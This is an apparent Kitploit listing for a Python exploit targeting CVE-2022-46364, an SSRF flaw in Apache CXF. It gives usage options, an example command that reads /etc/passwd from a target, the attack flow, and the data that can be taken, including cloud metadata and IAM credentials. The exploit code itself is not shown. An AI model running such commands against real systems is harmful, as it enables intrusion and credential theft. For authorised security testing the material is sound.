CVE-2022-46364-Poc — Python exploit for CVE-2022-46364 (Apache CXF SSRF via MTOM XOP:Include). Sends crafted SOAP requests to exfiltrate internal metadata, credentials, and microservice data from vulnerable endpoints. | Kitploit

CVE-2022-46364 Exploit

Apache CXF SSRF via MTOM XOP:Include | CVSS 9.8 CRITICAL

Vulnerability

Apache CXF < 3.5.5 / < 3.4.10 allows Server-Side Request Forgery through unvalidated XOP:Include href attributes in MTOM-encoded SOAP requests.

Usage

python3 exploit.py -t <TARGET_URL> -s <SSRF_URL> -d <DOMAIN>

-t, --target - Vulnerable CXF SOAP endpoint (required)
-s, --ssrf-url - Internal URL to exfiltrate (required)
-d, --domain - Target domain (default: localhost)
--plain-soap - Use plain SOAP instead of MTOM

Example

# Read /etc/passwd
python3 exploit.py -t http://target.com:8080/employeeservice -s file:///etc/passwd -d target.com

Attack Flow

Attacker sends SOAP request with XOP:Include element
CXF server fetches internal URL without validation
Response contains Base64-encoded exfiltrated data
Exploit decodes and displays content

Impact

AWS/GCP/Azure metadata & IAM credentials
Internal admin panels and APIs
Database credentials from environment endpoints
Internal microservice data

References